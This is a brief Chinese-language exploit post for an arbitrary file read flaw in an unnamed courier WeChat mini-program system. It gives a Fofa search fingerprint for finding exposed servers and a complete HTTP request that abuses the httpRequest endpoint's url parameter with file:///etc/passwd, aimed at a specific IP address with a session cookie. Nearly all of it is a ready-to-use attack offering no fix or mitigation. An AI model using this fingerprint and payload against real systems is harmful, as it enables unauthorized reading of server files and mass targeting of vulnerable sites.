某最新版快递微信小程序系统存在前台任意文件读取漏洞

Fofa：

"/static/default/newwap/lang/js/jquery.localize.min.js"

Payload:

GET /weixin/index/httpRequest?url=file:///etc/passwd HTTP/2
Host: 111.172.235.114
Cookie: think_var=zh-cn; PHPSESSID=6igfjn7ik5nrk3bjc0i25ek357
Cache-Control: max-age=0
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9